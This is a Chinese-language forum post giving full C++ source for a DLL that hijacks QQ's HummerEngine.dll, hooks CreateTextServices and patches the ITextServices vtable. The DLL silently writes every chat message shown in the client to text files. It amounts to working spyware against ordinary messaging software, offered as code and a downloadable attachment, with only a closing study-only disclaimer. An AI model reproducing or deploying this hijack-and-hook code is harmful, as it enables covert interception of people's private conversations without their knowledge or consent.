欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]Hook CreateTextServices

[原创]Hook CreateTextServices

大牛飘过,最近想到了CreateTextServices来记录消息
首先想办法注入到QQ进程内,我是劫持HummerEngine.dll
以前大家都是调用ITextServices::TxGetText获取消息记录,而我想到了Hook ITextServices的虚函数表,我Hook它三个成员函数TxSendMessage、TxGetText、TxSetText。
我们以前追加编辑框文本的时候都是先发生EM_SETSEL,再发生EM_REPLACESEL。QQ的无窗口编辑控件也是如此,因此我们只要拦截ITextServices::TxSendMessage,就能记录到聊天记录。
但是Hook了ITextServices::TxSendMessage了,却得不到聊天的窗口句柄,因此我只能以this指针为文件名来追加消息记录。Hook ITextServices::TxSendMessage有个好处,只要在编辑框里面有的内容都能记录下来,就不怕对方清屏了。另外QQ可能有很多无窗口编辑框,但只有聊天消息的编辑框的文本模式为TM_RICHTEXT,发生EM_GETTEXTMODE消息判断下就行了
剩下的是代码,大家凑合着看,反正我在64位QQ2013sp1可以记录到,至于32位由于有保护的原因,不能劫持HummerEngine.dll


#include <Windows.h>

#include <Tchar.h>

#include <Stdio.h>

#include <Richedit.h>

#include <Textserv.h>

#include "mhook-lib\mhook.h"

#pragma comment(linker, "/EXPORT:RunQQHummerEngine=HummerEngineX.RunQQHummerEngine,PRIVATE")

#pragma comment(linker, "/EXPORT:UninitializeCom=HummerEngineX.UninitializeCom,PRIVATE")

typedef DWORD (WINAPIV *PGetSelfUin)(VOID);

HMODULE 		g_hinst;

HMODULE			g_hRiched20;

BOOL			g_bInitial;

TCHAR			g_szRecordPath[MAX_PATH];

DWORD			g_dwUin;

PCreateTextServices		g_pfnCreateTextServices;

PGetSelfUin				g_pfnGetSelfUin;

//追加文本文件

VOID AppendTextFile(LPTSTR pszFilePath, LPTSTR pszText)

{

	HANDLE			hFile;

	DWORD			dwFileSize;

	DWORD			dwRetLen;

	hFile = CreateFile(pszFilePath,

		GENERIC_WRITE,

		0,

		NULL,

		OPEN_ALWAYS,

		FILE_ATTRIBUTE_NORMAL,

		NULL);

	if(hFile != INVALID_HANDLE_VALUE)

	{

		if(GetLastError() == ERROR_ALREADY_EXISTS)

		{

			dwFileSize = GetFileSize(hFile, NULL);

			SetFilePointer(hFile, dwFileSize, NULL, FILE_BEGIN);

		}

		else

		{

#ifdef UNICODE

			UCHAR			szBigUtf16Hd[] = {0xFF, 0xFE};

			WriteFile(hFile, &szBigUtf16Hd, sizeof(szBigUtf16Hd), &dwRetLen, NULL);

#endif

		}

		WriteFile(hFile, pszText, lstrlen(pszText) * sizeof(TCHAR), &dwRetLen, NULL);

		CloseHandle(hFile);

	}

}

class CHookTextServices

{

public:

	HRESULT TxSendMessage(UINT msg, WPARAM wparam, LPARAM lparam, LRESULT *plresult)

	{

		ITextServices		*pTextServices = (ITextServices*)this;

		switch(msg)

		{

		case EM_REPLACESEL:

			{

				SYSTEMTIME		systemTime;

				LPTSTR			pszStr;

				TCHAR			szFormat[512];

				LRESULT			lRes;

				pszStr = (LPTSTR)lparam;

				if(lstrcmpi(pszStr, _T("")) == 0)

					break;

				if(g_bInitial == FALSE)

					break;

				if((pTextServices->TxSendMessage(EM_GETTEXTMODE, 0, 0, &lRes) == S_OK) && (lRes & TM_RICHTEXT))

				{

					GetSystemTime(&systemTime);

					wsprintf(szFormat, _T("%s\\%lu\\%02X%02X%02X%p.txt"), 

						g_szRecordPath,

						g_dwUin,

						systemTime.wYear,

						systemTime.wMonth,

						systemTime.wDay,

						this);

					AppendTextFile(szFormat, (LPWSTR)lparam);

				}

			}

			break;

		}

		return (pTextServices->*(g_pHookTextServices->TrueTxSendMessage))(msg, wparam, lparam, plresult);

	}

	HRESULT TxGetText(BSTR *pbstrText)

	{

		ITextServices		*pTextServices = (ITextServices*)this;

		return (pTextServices->*(g_pHookTextServices->TrueTxGetText))(pbstrText);

	}

	HRESULT TxSetText(LPCWSTR pszText)

	{

		ITextServices		*pTextServices = (ITextServices*)this;

		return (pTextServices->*(g_pHookTextServices->TrueTxSetText))(pszText);

	}

public:

	HRESULT (ITextServices::* TrueTxSendMessage)(UINT msg, WPARAM wparam, LPARAM lparam, LRESULT *plresult);

	HRESULT (ITextServices::* TrueTxGetText)(BSTR *pbstrText);

	HRESULT (ITextServices::* TrueTxSetText)(LPCWSTR pszText);

	HRESULT (CHookTextServices::* HookTxSendMessage)(UINT msg, WPARAM wparam, LPARAM lparam, LRESULT *plresult);

	HRESULT (CHookTextServices::* HookTxGetText)(BSTR *pbstrText);

	HRESULT (CHookTextServices::* HookTxSetText)(LPCWSTR pszText);

} *g_pHookTextServices;

VOID VFSet(LPVOID *ppVfPtr, LPVOID pAddr)

{

	DWORD			dwOldProtect;

	if(VirtualProtect(ppVfPtr,

		sizeof(LPVOID),

		PAGE_EXECUTE_READWRITE,

		&dwOldProtect))

	{

		*ppVfPtr = pAddr;

		VirtualProtect(ppVfPtr,

			sizeof(LPVOID),

			dwOldProtect,

			&dwOldProtect);

	}

}

HRESULT STDAPICALLTYPE NewCreateTextServices(

	IUnknown *punkOuter,

	ITextHost *pITextHost,

	IUnknown **ppUnk

	)

{

	HRESULT				hr;

	LPIID				pIID_ITS;

	ITextServices		*pTextServices;

	LPVOID				*ppVtPtr;

	LPVOID				*ppVfPtr;

	HMODULE				hKernelUtil;

	TCHAR				szFormat[512];

	DWORD				cbValue;

	if(g_bInitial == FALSE)

	{

		if((hKernelUtil = GetModuleHandle(_T("KernelUtil.dll"))) &&

			(g_pfnGetSelfUin = (PGetSelfUin)GetProcAddress(hKernelUtil, "?GetSelfUin@Contact@Util@@YAKXZ")))

		{

			if(g_dwUin = g_pfnGetSelfUin())

			{

				//读取记录文件夹路径

				cbValue = sizeof(g_szRecordPath);

				if(ReadRegValue(HKEY_LOCAL_MACHINE,

					_T("SOFTWARE\\QQMsg"),

					_T("RecordFilePath"),

					g_szRecordPath,

					&cbValue))

				{

					g_bInitial = TRUE;

					wsprintf(szFormat, _T("%s\\%lu"), g_szRecordPath, g_dwUin);

					CreateDirectory(szFormat, NULL);

				}

			}

		}

	}

	hr = g_pfnCreateTextServices(punkOuter,

		pITextHost,

		ppUnk);

	if(hr == S_OK)

	{

		pIID_ITS = (LPIID)GetProcAddress(g_hRiched20, "IID_ITextServices");

		if((*ppUnk)->QueryInterface(*pIID_ITS, 

			(LPVOID*)&pTextServices) == S_OK)

		{

			if(g_pHookTextServices == NULL)//虚函数Hook应用于所有实例,因此只需Hook一遍就行了

			{

				g_pHookTextServices = new CHookTextServices;

				ppVtPtr = *(LPVOID**)pTextServices;

				ppVfPtr = &ppVtPtr[3];

				*(LPVOID*)&g_pHookTextServices->TrueTxSendMessage = *ppVfPtr;

				g_pHookTextServices->HookTxSendMessage = &CHookTextServices::TxSendMessage;

				VFSet(ppVfPtr, *(LPVOID*)&g_pHookTextServices->HookTxSendMessage);

				ppVfPtr = &ppVtPtr[13];

				*(LPVOID*)&g_pHookTextServices->TrueTxGetText = *ppVfPtr;

				g_pHookTextServices->HookTxGetText = &CHookTextServices::TxGetText;

				VFSet(ppVfPtr, *(LPVOID*)&g_pHookTextServices->HookTxGetText);

				ppVfPtr = &ppVtPtr[14];

				*(LPVOID*)&g_pHookTextServices->TrueTxSetText = *ppVfPtr;

				g_pHookTextServices->HookTxSetText = &CHookTextServices::TxSetText;

				VFSet(ppVfPtr, *(LPVOID*)&g_pHookTextServices->HookTxSetText);

			}

			pTextServices->Release();

		}

	}

	return hr;

}

BOOL WINAPI DllMain(

	HINSTANCE hinstDLL,

	DWORD fdwReason, 

	LPVOID lpvReserved

	)

{

	switch(fdwReason)

	{

	case DLL_PROCESS_ATTACH://加载dll;

		{

			g_hinst = hinstDLL;			

			g_hRiched20 = LoadLibrary(_T("RICHED20.DLL"));

			g_pfnCreateTextServices = (PCreateTextServices)GetProcAddress(g_hRiched20, "CreateTextServices");

			Mhook_SetHook((PVOID*)&g_pfnCreateTextServices, NewCreateTextServices);

		}

		break;

	case DLL_PROCESS_DETACH://释放dll

		{

			Mhook_Unhook((PVOID*)&g_pfnCreateTextServices);

			g_pfnCreateTextServices = NULL;

			FreeLibrary(g_hRiched20);

		}

		break;

	case DLL_THREAD_ATTACH://新建线程

		{

		}

		break;

	case DLL_THREAD_DETACH://线程退出

		{

		}

		break;

	}

	return TRUE;

}


Win7 64位测试有用
QQMsg.zip

上传的附件 QQMsg.zip

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功